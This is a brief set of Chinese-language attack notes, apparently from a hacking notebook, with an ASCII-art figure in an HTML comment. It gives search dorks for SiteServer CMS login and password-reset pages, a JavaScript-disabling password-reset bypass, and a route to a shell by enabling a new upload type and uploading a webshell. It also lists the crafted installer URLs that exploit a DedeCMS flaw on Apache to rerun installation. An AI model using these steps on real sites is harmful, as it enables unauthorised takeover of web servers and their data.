0Day 密碼重置dede阿帕奇強制安裝

CMS:siteserver
關鍵詞：
inurl:siteserver/login.aspx
inurl:siteserver/forgetPassword.aspx
操做：F12 禁用JS
getshell：添加上傳文件格式，上次一句話或者大馬
=====================================

dedecms 阿帕奇 安裝漏洞
環境：阿帕奇
抓包改url：
install.index.php.bak?insLockfile=moonsec.txt
install.index.php.bak?step=2&insLockfile=moonsec.txt
install.index.php.bak?step=3&insLockfile=moonsec.txt(這一步取消模塊)
install.index.php.bak?insLockfile=moonsec.txt

 

 

 

 

 

 

 

 

 

 

 

 

<!--
              1                _.._        ,------------.
                           ,'      `.    ( We want you! )
                          /  __) __` \    `-,----------'
                         (  (`-`(-')  ) _.-'
                         /)  \  = /  (
                        /'    |--' .  \
                       (  ,---|  `-.)__`
                        )(  `-.,--'   _`-.
                       '/,'          (  Uu",
                        (_       ,    `/,-' )
                        `.__,  : `-'/  /`--'
                          |     `--'  |
                          `   `-._   /
                           \        (
                           /\ .      \.  
                          / |` \     ,-\
                         /  \| .)   /   \
                        ( ,'|\    ,'     :
                        | \,`.`--"/      }
                        `,'    \  |,'    /
                       / "-._   `-/      |
                       "-.   "-.,'|     ;
                      /        _/["---'""]
                     :        /  |"-     '
                     '           |      /
                                 `      |
-->